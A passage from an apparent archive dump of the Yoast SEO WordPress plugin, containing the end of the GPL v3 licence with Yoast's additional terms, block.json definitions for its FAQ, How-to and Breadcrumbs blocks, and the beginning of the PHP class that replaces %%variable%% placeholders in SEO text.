price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

  18. Additional terms

  In the light of Article 7 of the GPL license, the following additional 
terms apply:

  a) You are prohibited to make misrepresentations of the origin of that 
material, or to require that modified versions of such material be marked 
in reasonable ways as different from the original version;

  b) You are limited in the use for publicity purposes of names of 
licensors or authors of the material;

  c) You are declined any grant of rights under trademark law for use of 
the trade names, trademarks, or service marks of YOAST B.V.;

  d) You are required to indemnify licensors and authors of that material 
by anyone who conveys the material (or modified versions of it) with 
contractual assumptions of liability to the recipient, for any liability 
that these contractual assumptions directly impose on those licensors and 
authors.

END OF TERMS AND CONDITIONS
wordpress-seo/blocks/structured-data-blocks/faq/block.json000064400000001676147510273100017771 0ustar00{
  "$schema": "https://schemas.wp.org/trunk/block.json",
  "apiVersion": 3,
  "version": "22.7",
  "name": "yoast/faq-block",
  "title": "Yoast FAQ",
  "description": "List your Frequently Asked Questions in an SEO-friendly way.",
  "category": "yoast-structured-data-blocks",
  "icon": "editor-ul",
  "keywords": [
    "FAQ",
    "Frequently Asked Questions",
    "Schema",
    "SEO",
    "Structured Data"
  ],
  "textdomain": "wordpress-seo",
  "attributes": {
    "questions": {
      "type": "array"
    },
    "additionalListCssClasses": {
      "type": "string"
    }
  },
  "example": {
    "attributes": {
      "steps": [
        {
          "id": "faq-question-1",
          "question": [ ],
          "answer": [ ]
        },
        {
          "id": "faq-question-2",
          "question": [ ],
          "answer": [ ]
        }
      ]
    }
  },
  "editorScript": "yoast-seo-faq-block",
  "editorStyle": "yoast-seo-structured-data-blocks"
}
wordpress-seo/blocks/structured-data-blocks/how-to/block.json000064400000003017147510273100020426 0ustar00{
  "$schema": "https://schemas.wp.org/trunk/block.json",
  "apiVersion": 3,
  "version": "22.7",
  "name": "yoast/how-to-block",
  "title": "Yoast How-to",
  "description": "Create a How-to guide in an SEO-friendly way. You can only use one How-to block per post.",
  "category": "yoast-structured-data-blocks",
  "icon": "editor-ol",
  "keywords": [
    "How-to",
    "How to",
    "Schema",
    "SEO",
    "Structured Data"
  ],
  "supports": {
    "multiple": false
  },
  "textdomain": "wordpress-seo",
  "attributes": {
    "hasDuration": {
      "type": "boolean"
    },
    "days": {
      "type": "string"
    },
    "hours": {
      "type": "string"
    },
    "minutes": {
      "type": "string"
    },
    "description": {
      "type": "string",
      "source": "html",
      "selector": ".schema-how-to-description"
    },
    "jsonDescription": {
      "type": "string"
    },
    "steps": {
      "type": "array"
    },
    "additionalListCssClasses": {
      "type": "string"
    },
    "unorderedList": {
      "type": "boolean"
    },
    "durationText": {
      "type": "string"
    },
    "defaultDurationText": {
      "type": "string"
    }
  },
  "example": {
    "attributes": {
      "steps": [
        {
          "id": "how-to-step-example-1",
          "name": [ ],
          "text": [ ]
        },
        {
          "id": "how-to-step-example-2",
          "name": [ ],
          "text": [ ]
        }
      ]
    }
  },
  "editorScript": "yoast-seo-how-to-block",
  "editorStyle": "yoast-seo-structured-data-blocks"
}
wordpress-seo/blocks/dynamic-blocks/breadcrumbs/block.json000064400000001057147510273100020015 0ustar00{
  "$schema": "https://schemas.wp.org/trunk/block.json",
  "apiVersion": 3,
  "version": "22.8",
  "name": "yoast-seo/breadcrumbs",
  "title": "Yoast Breadcrumbs",
  "description": "Adds the Yoast SEO breadcrumbs to your template or content.",
  "category": "yoast-internal-linking-blocks",
  "icon": "admin-links",
  "keywords": [
    "SEO",
    "breadcrumbs",
    "internal linking",
    "site structure"
  ],
  "textdomain": "wordpress-seo",
  "attributes": {
    "className": {
      "type": "string"
    }
  },
  "example": {
    "attributes": {}
  }
}
wordpress-seo/inc/class-wpseo-replace-vars.php000064400000146711147510273100015476 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   1.5.4
 */

// Avoid direct calls to this file.
if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * Class: WPSEO_Replace_Vars.
 *
 * This class implements the replacing of `%%variable_placeholders%%` with their real value based on the current
 * requested page/post/cpt/etc in text strings.
 */
class WPSEO_Replace_Vars {

	/**
	 * Default post/page/cpt information.
	 *
	 * @var array
	 */
	protected $defaults = [
		'ID'            => '',
		'name'          => '',
		'post_author'   => '',
		'post_content'  => '',
		'post_date'     => '',
		'post_excerpt'  => '',
		'post_modified' => '',
		'post_title'    => '',
		'taxonomy'      => '',
		'term_id'       => '',
		'term404'       => '',
	];

	/**
	 * Current post/page/cpt information.
	 *
	 * @var stdClass
	 */
	protected $args;

	/**
	 * Help texts for use in WPSEO -> Search appearance tabs.
	 *
	 * @var array
	 */
	protected static $help_texts = [];

	/**
	 * Register of additional variable replacements registered by other plugins/themes.
	 *
	 * @var array
	 */
	protected static $external_replacements = [];

	/**
	 * Setup the help texts and external replacements as statics so they will be available to all instances.
	 *
	 * @return void
	 */
	public static function setup_statics_once() {
		if ( self::$help_texts === [] ) {
			self::set_basic_help_texts();
			self::set_advanced_help_texts();
		}

		if ( self::$external_replacements === [] ) {
			/**
			 * Action: 'wpseo_register_extra_replacements' - Allows for registration of additional
			 * variables to replace.
			 */
			do_action( 'wpseo_register_extra_replacements' );
		}
	}

	/**
	 * Register new replacement %%variables%%.
	 * For use by other plugins/themes to register extra variables.
	 *
	 * @see wpseo_register_var_replacement() for a usage example.
	 *
	 * @param string $var_to_replace   The name of the variable to replace, i.e. '%%var%%'.
	 *                                 Note: the surrounding %% are optional.
	 * @param mixed  $replace_function Function or method to call to retrieve the replacement value for the variable.
	 *                                 Uses the same format as add_filter/add_action function parameter and
	 *                                 should *return* the replacement value. DON'T echo it.
	 * @param string $type             Type of variable: 'basic' or 'advanced', defaults to 'advanced'.
	 * @param string $help_text        Help text to be added to the help tab for this variable.
	 *
	 * @return bool Whether the replacement function was succesfully registered.
	 */
	public static function register_replacement( $var_to_replace, $replace_function, $type = 'advanced', $help_text = '' ) {
		$success = false;

		if ( is_string( $var_to_replace ) && $var_to_replace !== '' ) {
			$var_to_replace = self::remove_var_delimiter( $var_to_replace );

			if ( preg_match( '`^[A-Z0-9_-]+$`i', $var_to_replace ) === false ) {
				trigger_error( esc_html__( 'A replacement variable can only contain alphanumeric characters, an underscore or a dash. Try renaming your variable.', 'wordpress-seo' ), E_USER_WARNING );
			}
			elseif ( strpos( $var_to_replace, 'cf_' ) === 0 || strpos( $var_to_replace, 'ct_' ) === 0 ) {
				trigger_error( esc_html__( 'A replacement variable can not start with "%%cf_" or "%%ct_" as these are reserved for the WPSEO standard variable variables for custom fields and custom taxonomies. Try making your variable name unique.', 'wordpress-seo' ), E_USER_WARNING );
			}
			elseif ( ! method_exists( self::class, 'retrieve_' . $var_to_replace ) ) {
				if ( $var_to_replace !== '' && ! isset( self::$external_replacements[ $var_to_replace ] ) ) {
					self::$external_replacements[ $var_to_replace ] = $replace_function;
					$replacement_variable                           = new WPSEO_Replacement_Variable( $var_to_replace, $var_to_replace, $help_text );
					self::register_help_text( $type, $replacement_variable );
					$success = true;
				}
				else {
					trigger_error( esc_html__( 'A replacement variable with the same name has already been registered. Try making your variable name unique.', 'wordpress-seo' ), E_USER_WARNING );
				}
			}
			else {
				trigger_error( esc_html__( 'You cannot overrule a WPSEO standard variable replacement by registering a variable with the same name. Use the "wpseo_replacements" filter instead to adjust the replacement value.', 'wordpress-seo' ), E_USER_WARNING );
			}
		}

		return $success;
	}

	/**
	 * Replace `%%variable_placeholders%%` with their real value based on the current requested page/post/cpt/etc.
	 *
	 * @param string $text The string to replace the variables in.
	 * @param array  $args The object some of the replacement values might come from,
	 *                     could be a post, taxonomy or term.
	 * @param array  $omit Variables that should not be replaced by this function.
	 *
	 * @return string
	 */
	public function replace( $text, $args, $omit = [] ) {

		$text = wp_strip_all_tags( $text );

		// Let's see if we can bail super early.
		if ( strpos( $text, '%%' ) === false ) {
			return YoastSEO()->helpers->string->standardize_whitespace( $text );
		}

		$args = (array) $args;
		if ( isset( $args['post_content'] ) && ! empty( $args['post_content'] ) ) {
			$args['post_content'] = YoastSEO()->helpers->string->strip_shortcode( $args['post_content'] );
		}
		if ( isset( $args['post_excerpt'] ) && ! empty( $args['post_excerpt'] ) ) {
			$args['post_excerpt'] = YoastSEO()->helpers->string->strip_shortcode( $args['post_excerpt'] );
		}
		$this->args = (object) wp_parse_args( $args, $this->defaults );

		// Clean $omit array.
		if ( is_array( $omit ) && $omit !== [] ) {
			$omit = array_map( [ self::class, 'remove_var_delimiter' ], $omit );
		}

		$replacements = [];
		if ( preg_match_all( '`%%([^%]+(%%single)?)%%?`iu', $text, $matches ) ) {
			$replacements = $this->set_up_replacements( $matches, $omit );
		}

		/**
		 * Filter: 'wpseo_replacements' - Allow customization of the replacements before they are applied.
		 *
		 * @param array $replacements The replacements.
		 * @param array $args         The object some of the replacement values might come from,
		 *                            could be a post, taxonomy or term.
		 */
		$replacements = apply_filters( 'wpseo_replacements', $replacements, $this->args );

		// Do the actual replacements.
		if ( is_array( $replacements ) && $replacements !== [] ) {
			$text = str_replace(
				array_keys( $replacements ),
				// Make sure to exclude replacement values that are arrays e.g. coming from a custom field serialized value.
				array_filter( array_values( $replacements ), 'is_scalar' ),
				$text
			);
		}

		/**
		 * Filter: 'wpseo_replacements_final' - Allow overruling of whether or not to remove placeholders
		 * which didn't yield a replacement.
		 *
		 * @example <code>add_filter( 'wpseo_replacements_final', '__return_false' );</code>
		 *
		 * @param bool $final
		 */
		if ( apply_filters( 'wpseo_replacements_final', true ) === true && ( isset( $matches[1] ) && is_array( $matches[1] ) ) ) {
			// Remove non-replaced variables.
			$remove = array_diff( $matches[1], $omit ); // Make sure the $omit variables do not get removed.
			$remove = array_map( [ self::class, 'add_var_delimiter' ], $remove );
			$text   = str_replace( $remove, '', $text );
		}

		// Undouble separators which have nothing between them, i.e. where a non-replaced variable was removed.
		if ( isset( $replacements['%%sep%%'] ) && ( is_string( $replacements['%%sep%%'] ) && $replacements['%%sep%%'] !== '' ) ) {
			$q_sep = preg_quote( $replacements['%%sep%%'], '`' );
			$text  = preg_replace( '`' . $q_sep . '(?:\s*' . $q_sep . ')*`u', $replacements['%%sep%%'], $text );
		}

		// Remove superfluous whitespace.
		$text = YoastSEO()->helpers->string->standardize_whitespace( $text );

		return $text;
	}

	/**
	 * Register a new replacement variable if it has not been registered already.
	 *
	 * @param string $var_to_replace   The name of the variable to replace, i.e. '%%var%%'.
	 *                                 Note: the surrounding %% are optional.
	 * @param mixed  $replace_function Function or method to call to retrieve the replacement value for the variable.
	 *                                 Uses the same format as add_filter/add_action function parameter and
